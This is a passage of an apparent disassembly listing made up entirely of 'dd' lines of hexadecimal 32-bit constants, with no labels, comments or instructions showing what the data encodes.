		dd 7F1DEADCh, 96711E3h,	0CCBFB408h, 0CCFD85Dh, 5B0482F0h
		dd 64000769h, 4C5665E1h, 0B81D66B5h, 0E7960084h, 3DD4D992h
		dd 32181715h, 0F389B10Bh, 556A065Eh, 0D4F964B0h, 0F1486501h
		dd 0C310D291h, 697860E7h, 1951243Ch, 70C74Dh, 0B79EC931h
		dd 0FA42A9F6h, 9AEBE091h, 0E20E02FCh, 63BA19E8h, 152B864h
		dd 0DB6B0094h, 3AA180CFh, 30B85853h, 48001D22h,	5A781796h
		dd 1BC09AEh, 1A47D1CBh,	0D079CFCEh, 0EC052211h,	0EB5FEA1Dh
		dd 0E07F8447h, 740B6D2h, 0A893A0DEh, 59F48D2Fh,	0ED074700h
		dd 0E27F3C83h, 0CF00F21h, 7E00EAF1h, 0BD5D11E8h, 452099D8h
		dd 80F0916Ah, 0B649A76Dh, 0B40FB930h, 63EB56FDh, 0D815443Eh
		dd 8FE40Ah, 0E1E3346Bh,	10C50C52h, 0B236E215h, 400107B0h
		dd 0A903ED9Ch, 64D4008Ah, 779B8CDDh, 0BFCA59Eh,	50CF759h
		dd 61C54F18h, 0E9AB9820h, 0BB89C583h, 905F32h, 0C59CEA61h
		dd 0D0CF6BABh, 8352672Ch, 0E66FE0A0h, 0E1CF06FBh, 3041885Bh
		dd 0C5CE9128h, 890928A8h, 0D13C6707h, 0E6E0861Eh, 0BE8361h
		dd 0E02F6281h, 17240445h, 5B0C3899h, 5279E1h, 123E3374h
		dd 9479557Fh, 0B6DDEB07h, 0A96CE9A8h, 69F96019h, 20213240h
		dd 0D45B5A25h, 364709B9h, 9DC13C10h, 0E465C307h, 31C003F4h
		dd 3E4CCF13h, 0C000D5Ch, 602E190Fh, 0ED605BE0h,	0E9EA3D81h
		dd 6BEF00FDh, 6393A080h, 30001390h, 0A9812BF0h,	0EAE70B74h
		dd 26BEF6C1h, 60F07E27h, 5A9562DBh, 4700DFE8h, 771196Dh
		dd 0C375E4Eh, 0EF82307Dh, 51701869h, 8D78641Ch,	2DA3F843h
		dd 82B90026h, 81A5666Dh, 5E3CE211h, 64A03ABBh, 80C11E38h
		dd 47F1A6E4h, 0EAF8C8CEh, 69E90064h, 156BAC3Bh,	0A167B373h
		dd 11911E58h, 0DD001CD8h, 4718F4F7h, 1D39163Eh,	553F3DA2h
		dd 0DB3E5B3Ch
		dd 9243928h, 21609C0Bh,	45465880h, 0F8523D42h, 12A50018h
		dd 0E3967CBh, 0C11D67E6h, 0DECE20EEh, 9008964h,	10AFEA2Ah
		dd 7D142Dh, 27EDA8D4h, 0C0B77125h, 0F1350B8h, 0C0EE3E7h
		dd 701A07Bh, 7E1712E1h,	54053315h, 0B811E880h, 0E21E437Eh
		dd 9CD5FB9Fh, 0D06521DEh, 19B4D4ACh, 0C839B4A8h, 76025C78h
		dd 1E1B8AFh, 5BC0A021h,	1298BACh, 0A710A3C1h, 0C781B013h
		dd 9C8F7FB8h, 4442300Ah, 0EA16B839h, 2D720067h,	660C6A31h
		dd 1F924400h, 4E2DFD0Eh, 5D9D01B8h, 0D560CA88h,	63E100DBh
		dd 0B579A9C9h, 0BB09C34Ah, 351CC20h, 0E4399E88h, 0A93A7093h
		dd 45B4059h, 54FC2A97h,	9358DEF4h, 2AB105CCh, 40130A9h
		dd 974FA279h, 1450929Dh, 0F8311C81h, 94AC5E08h,	45F8C138h
		dd 5B188020h, 60EB292Ch, 335F9056h, 0A9985DA8h,	0B0500965h
		dd 28161805h, 68344C10h, 980A0C79h, 0B91B1C5Eh,	0D0101F71h
		dd 21502B17h, 6054BEA0h, 87A5101h, 0F9280418h, 504FAAC8h
		dd 0D05D4417h, 284668C9h, 717A8109h, 9608C80Ch,	473B0CA9h
		dd 0C99C514h, 0DF80024Ch, 10683846h, 0BC175050h, 1DD18700h
		dd 0B7818FF9h, 0CCBB2A11h, 840B5070h, 1F6303F4h, 28084168h
		dd 903B084Bh, 0DC3219BCh, 66DF101Ah, 5270E0h, 8CDB88C7h
		dd 9FAC38F8h, 8C2FB726h, 9841E018h, 0FFD4059Ch,	89ECAB43h
		dd 286EDCD8h, 4838C069h, 0C3CB01E4h, 0EF9CA259h, 28D04902h
		dd 0C09DCDEAh, 12E8F2C4h, 201A4055h, 0FDC6D9Ch,	78E0BD26h
		dd 805D3B8Fh, 7EE21D47h, 1CFD3711h, 25EAA169h, 548819Bh
		dd 75C5322Dh, 19DFECE8h, 81915FFh, 70B9D014h, 0F130C102h
		dd 0E1D0609Eh, 0E0216D0Ch, 98A20C60h, 8EB62B8h,	0C060EF25h
		dd 6894E224h, 0D9B7484Ch, 30559851h, 0CFE0DDC8h, 0B262E900h
		dd 0F0D4595h, 0A2FF00BBh, 1C3B5714h, 0ED003A24h, 1079BFAAh
		dd 60CF8852h, 35FAD91Ah, 8F2C77DEh, 0B0BF3C2Bh,	6F10E9D2h
		dd 5F200589h, 19C1105h,	61405D44h, 63BBE091h, 5C496F69h
		dd 1A283193h, 0FCF3018Dh, 60DE40E3h, 19EE01A7h,	1B589D24h
		dd 9563F4F4h, 38813503h, 75801822h, 0E1308B30h,	1BB5081Fh
		dd 0D00F4936h, 0F88F0114h, 93AFDC03h, 0A6C0666Ah, 0FA679FECh
		dd 5D833721h, 0F158E9BBh, 0A7DA185h, 8B00EE3h, 69B00186h
		dd 1E04C800h, 0FB0A6136h, 3A211258h, 0C62C0824h, 104CA8A1h
		dd 25711E94h, 10D0279h,	24EB9939h, 59016AB3h, 9DC92C24h
		dd 0B84ACC2Fh, 5A6D1708h, 1B423044h, 44003543h,	3E63DE90h
		dd 98060FAh, 7069AE22h,	0AB0093C4h, 313579B8h, 0C2F86DB2h
		dd 95524779h, 0C748A485h, 0A877170h, 8F93F02Ch,	592D321Fh
		dd 1615CCFh, 6CAE7A94h,	0DEA3C880h, 0D9ABED1Eh,	4D04CBFEh
		dd 16D8338h, 43C5093h, 9E2421B9h, 7B38E0A3h, 74D8B8A1h
		dd 37310210h, 9766301Ah, 0B598918Bh, 0E9ABBC80h, 0D8A4E01Dh
		dd 269E218h, 0A5CD6B08h, 709B088Ch, 33622702h, 21510D47h
		dd 2431C90Ch, 95307AD0h, 1F5DE814h, 8D30938Dh, 10A9899Eh
		dd 0A5B8088h, 0B4C41F1h, 65F041E2h, 0B76041E0h,	0F9F0915Dh
		dd 0D43BAB00h, 911A4729h, 21E44400h, 0DFD00302h, 40EF640Bh
		dd 0E63A401Eh, 255C5DE2h, 48A101BBh, 9EEE1EDFh,	12228C28h
		dd 9036E2DEh, 0E31402B8h, 0EF788890h, 0E09758A8h, 90C8EA74h
		dd 61C5C03Dh, 0E490BAE2h, 44BD7C00h, 0DF0F23E5h, 5C130CB7h
		dd 3B201B1Fh, 3AEEE406h, 24603E25h, 7B8280Fh, 93CBFD9Eh
		dd 0C5D79175h, 6D94407Eh, 78C5741Bh, 3F92EE44h,	5D9248ABh
		dd 14E03246h, 50C49E03h, 512C34B1h, 3980DA26h, 7AEA1356h
		dd 98C0F41Dh, 1404A1EEh, 91502847h, 199024A0h, 0C4E90938h
		dd 0BAFAB021h, 82031A6h, 90980D8Ch, 0D6E1050Ch,	13A18159h
		dd 0CDDB55Ch, 4481EEAAh, 3C321D39h, 0B2A19ECh, 0E7D0F410h
		dd 41EB0416h, 8CF89C10h, 1EF8E6C8h, 0E4370E18h,	1B2B10h
		dd 0F444FBA9h, 0E2153A6Ch, 18BE98A0h, 399A80h, 0A4D457A1h
		dd 0C16E17ABh, 0FCDA4Ch, 0C36CEA61h, 6E1A6BA6h,	0B72091E7h
		dd 7FA034BDh, 0D46C1B1Dh, 2305E89Ch, 5CC08C4Fh,	37999447h
		dd 0E130F4C2h, 0F7A956A7h, 0A471C5B8h, 0C7360C12h, 897B58D0h
		dd 0AE9D092Ch, 0CD80E4B7h, 2E7A71F4h, 2598E603h, 0F8249C97h
		dd 242B8D90h, 80901B1Ah, 8BFB450Eh, 6A0BC66Ch, 0FC244Ch
		dd 0FD462703h, 2E180143h, 0D860DFB6h, 3C40C251h, 0C00F573Ch
		dd 0C012C193h, 11E1E9F2h, 3B8001DBh, 86E0D672h,	1BDEEC6Fh
		dd 4056D800h, 0B89554C7h, 0E69CF481h, 27A03EB1h, 0B209D314h
		dd 458525Bh, 3F42B0Ch, 0F8AC2954h, 0FB86BE1h, 0ECE64B4Eh
		dd 0BF987460h, 0F507DB94h, 5840475Ah, 812393A0h, 6F2C00A3h
		dd 92ECA44Ah, 0FA0BA511h, 0D7DA469Ch, 0E325C500h, 1500444Ch
		dd 6FFF3C30h, 0B52F23h,	0C39C3A53h, 10EC2CF3h, 95117560h
		dd 3DB9EF4h, 3680F9E1h,	830F8F6h, 13B5217Ch, 966E02A3h
		dd 0FD0132F3h, 0EC99A583h, 9DD988C1h, 1106ED49h, 1F11C1C4h
		dd 407ABF63h, 5018A189h, 6745841h, 20C074FAh, 577AC402h
		dd 86310065h, 5D33EDDEh, 757A362Fh, 2934D030h, 0AF29E99h
		dd 215F6A45h, 6D320860h, 0DDA32260h, 702910EEh,	807F8837h
		dd 0EAA3105Bh, 1900BFD0h, 0B027478h, 63ED7Dh, 0D86E9C06h
		dd 224DC69Bh, 1A7530C0h, 48A1833Fh, 18074785h, 46AC1EABh
		dd 0ED07216Ah, 4A0F8457h, 0CD56A6B0h, 0AF4607E0h, 77EFEA92h
		dd 0EE034051h, 94A27039h, 308BD9C1h, 91F56E78h,	0CE8046C0h
		dd 89EEB19Eh, 62226F43h, 0A316AF00h, 0BEE74887h, 0E0C4008Fh
		dd 0D21AC17Ah, 6C6210EAh, 0C001A029h, 30DC5D24h, 2D42BDE3h
		dd 0D302BEDFh, 0F9F32FD6h, 10084325h, 0C04C15F0h, 84BC833Ah
		dd 5E448C2Eh, 0C327EE0h, 0E828A4F6h, 570076B8h,	46A34FE7h
		dd 0C2F8DC3h, 9BA711BFh, 0D50F3A30h, 2C6DEFD9h,	0C1E90Fh
		dd 0FE0B6760h, 1152A7Fh, 697BCF03h, 122E4D8Eh, 782069h
		dd 5FE4A135h, 6B007BF8h, 0AC61F4B1h, 3B2C139Ah,	0A1807C9Ch
		dd 5EBB1D27h, 491FE836h, 70F0EC6Bh, 0C3187CB7h,	199AB0D8h
		dd 0E76FFEA0h, 31A00700h, 452F365Ch, 9034492Ah,	3A208133h
		dd 0F0C48781h, 20A57D94h, 0C132D788h, 261D75EFh, 1EA33978h
		dd 0F508A2Eh, 768386C8h, 0A2DD63ABh, 0BF184149h, 1B5760h
		dd 0B417D221h, 312CF286h, 0C1010C93h, 71EE849Eh, 1F5A000Eh
		dd 644C7A3h, 0F40C0033h, 6D572B89h, 7D12DAB9h, 704531F5h
		dd 0DC5D4F9Bh, 0C4EB8500h, 30ED348Fh, 0B920D43Dh, 46092E6Bh
		dd 33C99BD9h, 0A084D884h, 0ACCE2185h, 0EC000F91h, 0E7868446h
		dd 6800F522h, 494C1357h, 0C1FDC420h, 90ABE9C9h,	6CE5E464h
		dd 6800DEF8h, 141809D5h, 0BA15B7h, 0C346F51h, 78D06635h
		dd 0F41398A8h, 0DD6E4E00h, 0D4D59A92h, 0FC2C0610h, 812F93FFh
		dd 13DAA301h, 96257A4Fh, 14316FE8h, 102C9DA2h, 8EF78C00h
		dd 552F4437h, 68C470A5h, 87721960h, 891DDE07h, 10F96E3h
		dd 49F5346Bh, 8B2CB048h, 7982849Bh, 0B35FB282h,	5D4A0C60h
		dd 0A5557F07h, 68E0CB72h, 341162Ch, 2FE0D8DBh, 0EEC01B46h
		dd 2E001591h, 9C6FF6EBh, 0C7A6C3Bh, 23B58C5Eh, 0FB494E90h
		dd 0F47907B0h, 594014E6h, 90D0B771h, 65520650h,	0E1186936h
		dd 27CE5707h, 94568DF3h, 996BF8A1h, 465E0018h, 0A5260D90h
		dd 9205877Fh, 2B91608h,	98001584h, 0ECEB461Dh, 0DF2E2845h
		dd 71803C4h, 38852C75h
		dd 0B4F35100h, 920F8934h, 0F2F600F1h, 0ECC86D48h, 8F3E9FB0h
		dd 77C553Dh, 1918EE0h, 0ED30A6CCh, 81F340F7h, 0DCFF4E3Bh
		dd 0B68090DBh, 6E7F0682h, 5B847507h, 0AE63BF8Dh, 2670B039h
		dd 541177A8h, 7DA9841Dh, 381F58C3h, 5EBCF324h, 1B1C7F46h
		dd 0FC8D85CCh, 9B68069Eh, 0D3006126h, 620A3EFFh, 1E1484DBh
		dd 0CF4F2EFh, 10693685h, 0CB20E000h, 4D9A258Ch,	0ADF80721h
		dd 14E33CB4h, 0E51CC8C4h, 477EB77Fh, 184A722Eh,	0C7EE5500h
		dd 1DAE5D67h, 0A2D81F8h, 245010D1h, 0B0F00057h,	0B6A25373h
		dd 0D5E03500h, 690AA6BDh, 0CEF23B0Fh, 29B70578h, 9415E3A9h
		dd 0D85FC14Ch, 94F0401Bh, 0BB04A0A4h, 99ED71AAh, 901994D3h
		dd 2187A8h, 4345370Dh, 0C31AF7E2h, 9BE6D10Ah, 40308E49h
		dd 606B33A9h, 0A78C588Eh, 630069E1h, 358BEFF1h,	24C91BCBh
		dd 409CA4E0h, 0A05DA691h, 0C3550300h, 6889C2A5h, 0EE720F2Eh
		dd 0FDEAABEFh, 0A13F0B92h, 6311609Dh, 9EECD581h, 7714D0B6h
		dd 1A492A7Bh, 0BA167D94h, 480CC4C7h, 67A42CA1h,	508F992Ah
		dd 66E3CCE7h, 0A9579500h, 4B146B93h, 5A8100DDh,	0EC65FA8Eh
		dd 6DE6B183h, 2C8B4107h, 764E15CBh, 3DC8700Bh, 45ED8460h
		dd 0A44F42E0h, 20A11F56h, 6071A816h, 90506D6Ah,	0FA5FFA8Fh
		dd 787900DEh, 0C09BAF76h, 0EF88106Fh, 0B12A0039h, 1F58328h
		dd 8700D53Dh, 0ABECDA4Ah, 0FD19B82h, 2C6ACE35h,	0B053BB02h
		dd 0D2EEAC40h, 0F8DE34E8h, 5111303Dh, 0A864AE10h, 308BABB0h
		dd 0D830186Ah, 374CDBB9h, 0C04876F4h, 0E80A0380h, 619BBFh
		dd 348E3C31h, 0B866A515h, 4CDD2F1Bh, 0C2F308h, 34C6F620h
		dd 40A81202h, 2CE1F326h, 8B8D9F1Fh, 51DA6906h, 186AF184h
		dd 0B3D90453h, 0C06EC1F9h, 0FA932FB8h, 0ACFD7D2Eh, 604DDC88h
		dd 85AB8339h, 91AC0621h, 31EF0056h, 47C48184h, 0B3DF0120h
		dd 5CB5077h, 26F18025h,	0E9F74A9h, 117201E5h, 91028B17h
		dd 0F5EC404Ah, 0B34835F4h, 75EA0B24h, 0B648B01Ch, 89392C7Ah
		dd 64482C53h, 0BE794080h, 13B16A7Ah, 3139AB88h,	0D866EB20h
		dd 0BB075CC6h, 37993007h, 4A760EA0h, 0F570321h,	0C7B891C5h
		dd 0A48F7828h, 0BE05DF07h, 992ABFh, 39E78A84h, 32D3000Bh
		dd 0ED608351h, 6F0064E8h, 75B690D2h, 72CB4638h,	0E72000BBh
		dd 8D29FFD1h, 2500F3FAh, 0CA1AD38Ch, 0B3F4E06h,	8F5A1B53h
		dd 0B384F500h, 8C007C31h, 0D8B56E64h, 0FC11C9h,	0B449106Ah
		dd 0AFAC3A9Dh, 0FB6F0700h, 5F7F1CEEh, 8C9E0C0Fh, 3AC8C1BAh
		dd 503CE100h, 2A5A897Bh, 0F7023F96h, 0BDA4D980h, 72FD3835h
		dd 53835F00h, 2F52A091h, 5E9005Dh, 558AD2AEh, 0B20039E5h
		dd 1A931DD4h, 0FE9AC9AAh, 0CA5FEE4h, 8ECEEE06h,	9000B5C0h
		dd 9E3F8B97h, 947407h, 0EDF34412h, 0AAD2EC15h, 6007B2F0h
		dd 0DC3818CEh, 0C207009Eh, 1FC49313h, 408ECB6Bh, 87B2741h
		dd 97F812CAh, 1CFFEB50h, 0B048740Fh, 55138019h,	7E4243h
		dd 0C2C5C4A1h, 9342BF1h, 0F681920Ch, 12EC1877h,	1F69F89Fh
		dd 0EE4A0023h, 122BCE9Eh, 43185CF0h, 5B287C2Ah,	0F4E7ACBh
		dd 0E1922F74h, 0A018C2ECh, 0D891DC36h, 500486A0h, 0B2E861h
		dd 0A863590Eh, 0EFFC9512h, 803C157Ch, 0E7708017h, 0EEC37591h
		dd 0C8985Eh, 7FEBE59Bh,	1F429477h, 8630ED60h, 1D0A9Ah
		dd 0E230CBA8h, 8DDDA9FAh, 4FE91A00h, 1F8635CCh,	284E500Eh
		dd 0C90630F6h, 0EE079319h, 0AA992867h, 8F40B582h, 29E2079Ch
		dd 60301B25h, 0CB8EEF0h, 2B80D371h, 0EC88DFA8h,	0C37344Fh
		dd 0F6900058h, 4D1B2941h, 0A86EA203h, 1DCB9FEEh, 94CFD179h
		dd 42857C74h, 0DC084FA9h, 0A2AA8918h, 0E260A8FCh, 389BD218h
		dd 84605032h, 6B8A2412h, 5F828C08h, 9042F990h, 0F00A6810h
		dd 0C1049BD3h, 399CEA49h, 123980A9h, 76D5514Eh,	6B20F9B9h
		dd 54EC302Ah, 7D653881h, 0A880A518h, 0ABC531h, 0DEEBC4Ch
		dd 399F1B6Fh, 442A59C5h, 0F5971C00h, 155D90EAh,	942CA7EEh
		dd 74140E03h, 1100256Ch, 0AB76A426h, 15154DBFh,	0BC1C12CFh
		dd 0CE71080Eh, 3F4077A0h, 81075B8Dh, 41ECF542h,	1D1B9880h
		dd 111A609Ch, 0CF364D6Dh, 0AA440960h, 347443A5h, 469289Ch
		dd 7A7BC94h, 0DCD08CEEh, 520ED3EDh, 0CB1FA056h,	11D9CF13h
		dd 42EDAE9h, 7C86B303h,	82A99B6h, 0DD03D453h, 0A3B4EC7Ah
		dd 0D3B00581h, 2D6F03h,	0CF8DAA84h, 0CEE4A275h,	0C5DEEE00h
		dd 9C90119Ah, 659DE8DDh, 7C406128h, 0EC801840h,	29108581h
		dd 1BBF411Eh, 5AE040A9h, 15092BF6h, 21AA5574h, 0B512C0C8h
		dd 29D398Ah, 7111E54h, 0D5C18B2Ah, 91BC4205h, 506070D3h
		dd 40CF9CE9h, 531423AAh, 435AD974h, 0B0829FC5h,	0D06E9698h
		dd 0FD281064h, 0E6110C90h, 0A02111B7h, 3029168Ch, 91B860FBh
		dd 30243EE6h, 0D7D9F31Fh, 790F80BDh, 5AD5CCCBh,	18267BEBh
		dd 0E0100AE8h, 7460B225h, 15601AB8h, 610900BBh,	2663377Eh
		dd 51002533h, 4A2DD3D7h, 0F8738E0Eh, 8D61000Ah,	5C92D41Fh
		dd 3011C76h, 5A579C75h,	0F3DC9A37h, 997000Dh, 0E4B11346h
		dd 1D60D660h, 0A583A630h, 58FF0E93h, 0C1E0F985h, 0F23DBF53h
		dd 15408204h, 0F4D09B1Ch, 71B74CAh, 5718709Ah, 0DF49B265h
		dd 0ACE9E4A0h, 15070743h, 0CB1CB5EEh, 289E5D0h,	0D11960B3h
		dd 0EA9AF3F6h, 5441E300h, 6D51CA37h, 0DD8309Dh,	9301AA51h
		dd 779C1213h, 0A3A2EC4Fh, 3B44AE7h, 0D5ED5C69h,	0F6D86922h
		dd 0BB002C9Ah, 3516E276h, 0AD97FEh, 0DE92D5FAh,	824937B6h
		dd 0D4A021F5h, 56E02884h, 0E87C9000h, 110AC72Fh, 22A002Ch
		dd 0C130BC1Ah, 0DD047945h, 94059C28h, 0CA1C3C0h, 72840C47h
		dd 0F51831CAh, 0ED0D690Eh, 0D3EB63A3h, 0C00CBB09h, 0CE1A25h
		dd 7968428Ah, 6F7D1C20h, 21C104E8h, 3CF5570h, 99BDF4h
		dd 0AE8B6254h, 881D4306h, 0EF688D60h, 18117F35h, 39FDBF79h
		dd 0DA303985h, 4D5B3090h, 1909370Bh, 70BAF018h,	490057FCh
		dd 0AC1B832Ch, 0E9F0DAAh, 6BFDBCCAh, 5EBDC5h, 2EB32C24h
		dd 59011941h, 9B8E0B8Dh, 0C30ABFh, 2EDB4C21h, 5AC9D66Ch
		dd 52958600h, 4647351Bh, 45D92879h, 46F8DC80h, 10207D67h
		dd 50CC4200h, 0B5B1D7B6h, 38FF02A4h, 0AF632C0Ah, 3AAB9240h
		dd 0BF26A00Fh, 6A54A0AAh, 0E84E37h, 998BA8FCh, 241D4C01h
		dd 0B986031Fh, 829457C0h, 3A836C5Ah, 87801FAFh,	0B1CF359Fh
		dd 5600D5D0h, 69A8ABA0h, 0EBC697h, 3540EFF7h, 0CA468373h
		dd 54C9C300h, 0F0394318h, 0B5CD005Ch, 0B7AD4DC2h, 0DA0022D3h
		dd 902ED9FEh, 7249B4h, 0F313FFC1h, 5C2A169Bh, 4109368h
		dd 0BFB50357h, 0CBE01239h, 0E600FCD2h, 0FA76DBC8h, 0C9887Ch
		dd 2290C205h, 45DC67B5h, 0B8F8BD0Ch, 0EBFA29FFh, 1137D711h
		dd 6510DEC3h, 1E81EB02h, 3B44ED08h, 3D3184EFh, 78251F6h
		dd 0C1424A00h, 0A000C5E8h, 0EED89350h, 3629B8Dh, 0B3BC7ADBh
		dd 0B1E8DE63h, 2400DFD7h, 7F8A95FDh, 1FF1F807h,	409FAC7Bh
		dd 10594B54h, 0A5392B15h, 1D26800Bh, 0E0ECE5CAh, 0B8741DB4h
		dd 6275801Eh, 6BD7C3A0h, 782DE905h, 0E78007E6h,	333DF24h
		dd 0F8CBED30h, 0F499A9E2h, 8FF1404Eh, 2E00BB4Ah, 24D60F2Bh
		dd 0FE224CCEh, 70670F98h, 0F5E050EDh, 4F628CD0h, 0C05B4B01h
		dd 9B3ABA68h, 8F4EFCh, 0BAE0DDBh, 0C2376D0Fh, 32ECB71Eh
		dd 805DE98Fh, 0E84A700Ch, 0DBBF0789h, 0E0E440D9h, 501D9186h
		dd 2952E0A8h, 0B400E77Bh
		dd 85696FC1h, 2BE23h, 718F4DD4h, 4C13792Fh, 0ADF0AF03h
		dd 889FFDCAh, 7B84B7FEh, 34F01Fh, 6E035951h, 0CA6C22C2h
		dd 0B4F79307h, 0EC113D28h, 0F3F06988h, 0B3A1001Fh, 59172D3h
		dd 0DE1F0E3Ch, 42409AFFh, 9E59EED7h, 68E00132h,	8B8A7774h
		dd 0DBD3D861h, 66FAC000h, 75DBD63h, 0A1E8003Fh,	970249EFh
		dd 0B27C73A9h, 64DF300h, 0D9475866h, 0E3B80004h, 0AF943E7h
		dd 0E41F1B50h, 14C0894Eh, 4629CAF1h, 77950047h,	268BD0F7h
		dd 240366ABh, 545A27DCh, 2E0980FFh, 0A9D50083h,	0E7021065h
		dd 0DC03395Fh, 27283A1Eh, 0B298805h, 303C00AFh,	0FE341199h
		dd 31CCDFDh, 0EDC09F66h, 765882C6h, 0BC930157h,	0EE0AE09Dh
		dd 25D560A4h, 490F6DB8h, 470E06CEh, 36B1D267h, 0CDCCD460h
		dd 15E839h, 0FE77C27Ah,	907FB01Ch, 1F31B500h, 0F4A8D8C8h
		dd 0C10DF29Ch, 11D182B4h, 6AC4203Ah, 32B29F0Fh,	19A0C09Dh
		dd 0EC3E8h, 0BDA234FFh,	0C767C6C5h, 0AE702800h,	1E42BEAAh
		dd 2A2000A4h, 924A5A6Eh, 0D43DD519h, 94C200E0h,	63F54478h
		dd 0E77D1E89h, 625E8080h, 0BFA29DEEh, 0E61B0207h, 8CC08E12h
		dd 0B0C34F7Ah, 0E96094Bh, 2400D331h, 0CAF85742h, 1077AB30h
		dd 8F539h, 7454B4DEh, 0DE2A791h, 8C3C0890h, 0FD628037h
		dd 798D9756h, 0C3940018h, 3D982923h, 24001B3Bh,	0F07CEC8Eh
		dd 1C3E90B9h, 4583FAC2h, 3BF6A69h, 24D7D1F0h, 0DFAFB4B0h
		dd 0DCE49600h, 9CE193C9h, 0FFEA00F3h, 585C51A7h, 0C2EEAD68h
		dd 1F7FC090h, 9900DEE2h, 37538A14h, 132730h, 7ABBCC7Bh
		dd 0FF1DFE9Eh, 1CFA6500h, 0C6941E48h, 41100A5h,	6BF82FBAh
		dd 5F009713h, 0DAD22557h, 3A0F6D47h, 0C5804E20h, 0A8668172h
		dd 1326FCEBh, 54000DACh, 0BB3B7C57h, 0E990001Fh, 5F556519h
		dd 0EF04CA6Dh, 85CC0BACh, 0D78CF1C0h, 133700AFh, 881C6182h
		dd 0BB00866Ah, 0FB9D6267h, 981A17EDh, 760E0048h, 0F37DFA15h
		dd 0DFEE9A99h, 72452309h, 0FF3E803Dh, 19BE03h, 0CE743AA2h
		dd 56362A8Bh, 287C63Ah,	5B5E2434h, 686666h, 0D4CD73DCh
		dd 9C48E06Eh, 7A6A3958h, 5E1E2901h, 14F3E5B3h, 6C40BC21h
		dd 0FC8E613Bh, 263E0089h, 5B51C7F4h, 0C63D1221h, 93AD005Ch
		dd 0F596B715h, 3B3F0928h, 68831E73h, 0F698E5ABh, 31F6103Eh
		dd 9FDDE83Eh, 0ED099901h, 8081F5AEh, 0DC3305E6h, 4000B59Ch
		dd 0FF57DD7Fh, 9D4BD679h, 2300CE50h, 0F74A1B3Eh, 3CB6AD9Fh
		dd 0F400E6F2h, 0A08219DBh, 8E076528h, 9B718D60h, 30D61AC1h
		dd 0F8FE7DE0h, 31286015h, 0C49C87F3h, 0C707BC7Ch, 7F0C2D04h
		dd 56F93D60h, 47280026h, 388FF7C6h, 9A00A11Bh, 852F3080h
		dd 3F6D2E9h, 0AB8A39F0h, 6A807DACh, 43264D6Bh, 0AA0040C9h
		dd 0BFEE0E34h, 74D7001Dh, 0ADCBAC7h, 810021C8h,	72CB3D4Bh
		dd 9A3948h, 0EFB88F9Bh,	95629D53h, 0D1944Ch, 619240A3h
		dd 26460942h, 2E5472Dh,	6DE4CCEFh, 1AA4E740h, 77BE5007h
		dd 0F6508C0Eh, 5C5FE961h, 4F0006D3h, 8D40F994h,	660F8E31h
		dd 0E07839E2h, 8C804E42h, 470A000Eh, 0B90D606Eh, 900FFD9h
		dd 364116F0h, 90A58E2Dh, 0F74B0064h, 65FE2FA4h,	51002B9Fh
		dd 0B5687489h, 4C4A63ABh, 762457FDh, 731A01FCh,	409AC637h
		dd 445C5EECh, 0E3BC5B18h, 3E10B310h, 0CB8030CCh, 0F138068Fh
		dd 8700791Fh, 0DFFC3E86h, 147D20Eh, 0B610E164h,	319ADD3Fh
		dd 0F4AAF413h, 0E3465C00h, 0C2897652h, 1D2400BAh, 0E9C9A609h
		dd 0BD009130h, 329839A4h, 3ED854FAh, 0FE077779h, 9031AA35h
		dd 8C7625F8h, 0F67BB900h, 8EB09237h, 0C5F0BDB1h, 2B01E37Eh
		dd 1233CB2Eh, 0AC709B26h, 2E8EF0CCh, 3166BF4h, 0C847CABFh
		dd 996C5A0h, 114E650Eh,	206FCFF2h, 78A11A84h, 495400D5h
		dd 3017BD1Fh, 0E7E618E4h, 0F04C330Fh, 803A2BB0h, 34197134h
		dd 516100A1h, 0AB69097Ah, 57009391h, 2BF3D06Eh,	21B05Ah
		dd 0C7A5B2F1h, 2DDD8950h, 6FAD5201h, 0E39C16C1h, 3930860h
		dd 0A6EB7995h, 0B000CEE0h, 0DE3AFE6Ah, 43AF02h,	3D3E4EADh
		dd 33AB5B0Ah, 2A50C8EAh, 0A3F8A8E4h, 417A4474h,	3CAA4E00h
		dd 0D5FF160Ch, 0DFB0181h, 60D48DE3h, 3168B911h,	22E651ACh
		dd 1AE8074h, 0F960597Ah, 0FCACFA67h, 0EB720412h, 0F2759500h
		dd 23876626h, 0F81008Fh, 0B78BFDE1h, 0CF028348h, 0E0DBC729h
		dd 0A0D0602Eh, 81FA7Ah,	6A584C0Dh, 0E7D38B4Ah, 51CA891Fh
		dd 0B8382EC2h, 407F40C7h, 0F62000FCh, 4B1982Ch,	0E098BD29h
		dd 9738E900h, 8C42D783h, 1C0771CCh, 0C3342BD6h,	0B94043C6h
		dd 71FE2870h, 94F8C22Eh, 0A2651D81h, 82E013E3h,	0EF85Ah
		dd 2C5D98ACh, 94455EAEh, 5FCC1D00h, 19E661C8h, 88DD008Fh
		dd 922976C7h, 0B74CF051h, 0FDC21C88h, 0EFD2FCC0h, 1890A2C8h
		dd 6828A464h, 3E2AFB9h,	0F79A8C00h, 711F94F5h, 7C410025h
		dd 0C172D27Eh, 0E53A04E2h, 8BC60040h, 38440C01h, 971900C8h
		dd 7DBA92F6h, 9A003BA2h, 84F75A1h, 1339FFC6h, 3D0C48Dh
		dd 2A4D2804h, 0C98632B8h, 641CA31Ch, 0D31AB280h, 94A69733h
		dd 87C71C48h, 30222AF8h, 9DEAC93Ah, 7500F092h, 4F08E055h
		dd 2A8C0F9Ch, 794B1C4h,	0C182CDAh, 2ABEE03Fh, 0AF006D1Bh
		dd 0A5538161h, 76F37BE5h, 0D1C43E11h, 576F7980h, 78A7D365h
		dd 0BB634E00h, 0AE875F86h, 62500CABh, 0BD585BCCh, 3F182906h
		dd 246C35Dh, 802D2F0Dh,	0EB87FDCCh, 3F1E705Fh, 0F60039D4h
		dd 3E334852h, 74CA0E7Eh, 97B70013h, 197ADEDCh, 247E4E9Bh
		dd 0E7339C03h, 0DA858C07h, 65D883BDh, 0C9C10038h, 0F6E7E3EDh
		dd 9D627FA0h, 501649E8h, 0F973075Ch, 21BBD47Dh,	0CCE83488h
		dd 0BF0084E9h, 6430B716h, 0D7B405h, 5A5B8B91h, 6790E485h
		dd 242BF000h, 7A7D1113h, 0DE423838h, 0CFD0B80h,	6635258Dh
		dd 12F6F116h, 0E8C1881Dh, 2A8CF97Ch, 0A5EB1087h, 0C5FCF427h
		dd 0BCC18098h, 31007DDCh, 0A9381640h, 49030270h, 363DAC65h
		dd 31DEEB8Eh, 483807F6h, 9327E024h, 111FF4C3h, 0E40C1541h
		dd 11250EBh, 689E821Fh,	60B2C019h, 0B54CD23Ch, 6B0070B1h
